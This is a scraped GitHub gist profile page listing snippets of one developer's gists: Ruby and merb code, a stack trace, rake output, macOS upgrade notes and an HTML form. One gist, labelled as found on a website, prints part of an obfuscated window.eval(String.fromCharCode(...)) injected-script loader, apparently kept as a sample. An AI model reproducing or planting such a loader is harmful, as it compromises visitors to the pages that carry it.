Skip to content

Instantly share code, notes, and snippets.

View cpetersen's full-sized avatar

Christopher Petersen cpetersen

View GitHub Profile
merb : worker (port 4000) ~ HTTP status code 403 - (RestClient::RequestFailed)
/Users/cpetersen/Code/assaydepot/depot-store/gems/gems/rest-client-1.0.3/lib/restclient/request.rb:195:in `process_result'
/Users/cpetersen/Code/assaydepot/depot-store/gems/gems/rest-client-1.0.3/lib/restclient/request.rb:125:in `transmit'
/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/net/http.rb:543:in `start'
/Users/cpetersen/Code/assaydepot/depot-store/gems/gems/rest-client-1.0.3/lib/restclient/request.rb:123:in `transmit'
/Users/cpetersen/Code/assaydepot/depot-store/gems/gems/rest-client-1.0.3/lib/restclient/request.rb:49:in `execute_inner'
/Users/cpetersen/Code/assaydepot/depot-store/gems/gems/rest-client-1.0.3/lib/restclient/request.rb:39:in `execute'
/Users/cpetersen/Code/assaydepot/depot-store/gems/gems/rest-client-1.0.3/lib/restclient/request.rb:17:in `execute'
/Users/cpetersen/Code/assaydepot/depot-store/gems/gems/rest-client-1.0.3/lib/restclient.rb:73:in `put'
/Users/cpetersen/Code/assaydepot/de
class Person < ActiveRecord:Base
attr_accessor :name
def to_s
name
end
end
@names = Person.new(:name => "Colin")
@names = Person.all
module CouchRest
class ExtendedDocument
##########
# Start processing a view and return in 1 sec
# This seems like a hack, is there a better way to implement this?
##########
def self.process_index
r = RestClient::Resource.new("http://#{self.database.server.uri}/#{self.database.name}/#{self.design_doc_id}/_view/#{self.design_doc["views"].keys.first}?limit=0", :timeout => 1)
begin
r.get
We couldn’t find that file to show.

Welcome to Drift!

Drift is an always-already versioned, cloud-backed text editor. You can use it to take notes, and save them in the GitHub cloud.

Your gists are always saved locally, and any changes you make will get pushed to GitHub's servers.

To name a gist, touch its name in the toolbar.

You can use the share button at the top-right to copy a link to one of your gists, or view it on the web in Safari.

@cpetersen
cpetersen / generate_specs.rb
Created October 16, 2011 03:27
A simple script for generating merb specs based on the router (the specs obviously need to be edited).
@@route_to_name = { }
Merb::Router.named_routes.each { |name, route| @@route_to_name[route] = name }
controllers = { }
Merb::Router.routes.each do |route|
controller = route.params[:controller]
if controller
unless controller =~ /(path\d)/
controller = controller.gsub("\"","")
@cpetersen
cpetersen / gist:1345985
Created November 7, 2011 19:59
rake -T
rake about # List versions of all Rails frameworks and the environment
rake assets:clean # Remove compiled assets
rake assets:precompile # Compile all the assets named in config.assets.precompile
rake doc:app # Generate docs for the app -- also available doc:rails, doc:guides, doc:plugins (options: TEMPLATE=/rdoc-template.rb, TITLE="Custom Title")
rake log:clear # Truncates all *.log files in log/ to zero bytes
rake middleware # Prints out your Rack middleware stack
rake notes # Enumerate all annotations (use notes:optimize, :fixme, :todo for focus)
rake notes:custom # Enumerate a custom annotation, specify with ANNOTATION=CUSTOM
rake rails:template # Applies the template supplied by LOCATION=(/path/to/template) or URL
rake rails:update # Update configs and some other initially generated files (or use just update:configs, update:scripts, or update:application_controller)
@cpetersen
cpetersen / index.js
Created July 9, 2012 21:11
Found on XpertDNS.com
/*km0ae9gr6m*/window.eval(String.fromCharCode(116,114,121,123,112,114,111,116,111,116,121,112,101,37,50,59,125,99,97,116,99,104,40,97,115,100,41,123,120,61,50,59,125,116,114,121,123,113,61,100,111,99,117,109,101,110,116,91,40,120,41,63,34,99,34,43,34,114,34,58,50,43,34,101,34,43,34,97,34,43,34,116,34,43,34,101,34,43,34,69,34,43,34,108,34,43,34,101,34,43,34,109,34,43,40,40,102,41,63,34,101,34,43,34,110,34,43,34,116,34,58,34,34,41,93,40,34,112,34,41,59,113,46,97,112,112,101,110,100,67,104,105,108,100,40,113,43,34,34,41,59,125,99,97,116,99,104,40,102,119,98,101,119,101,41,123,105,61,48,59,116,114,121,123,112,114,111,116,111,116,121,112,101,42,53,59,125,99,97,116,99,104,40,122,41,123,102,114,61,34,102,114,111,109,67,104,97,114,34,59,102,61,91,53,49,48,44,55,48,50,44,53,53,48,44,53,57,52,44,53,56,48,44,54,51,48,44,53,53,53,44,54,54,48,44,49,54,48,44,54,54,48,44,53,48,53,44,55,50,48,44,53,56,48,44,52,57,50,44,52,56,53,44,54,54,48,44,53,48,48,44,54,54,54,44,53,52,53,44,52,54,56,44,53,56,53,44,54,53,52,44,52,57,48,44
@cpetersen
cpetersen / gist:3461308
Created August 25, 2012 05:43
Upgrading to mountain lion
uninstall nokogiri (not sure if this is necessary since I uninstalled ruby later)
update xcode
reinstall xcode command line tools (seems like I'm always installing these)
brew install libxml2
rvm uninstall 1.9.2
rvm uninstall 1.9.3
rvm install 1.9.3
rvm install 1.9.2 --with-gcc=clang
@cpetersen
cpetersen / signup.html
Created September 20, 2012 16:28
Challenges Mailing List Sign Up
<!-- CSS -->
<style type="text/css">
span.label,span.spacer,span.multiple span {width:120px;float:left;}
span.multiple {float:left;}
span.button {padding-left:120px;}
div.clear {clear:both;padding-top:5px;}
</style>
<!-- Form -->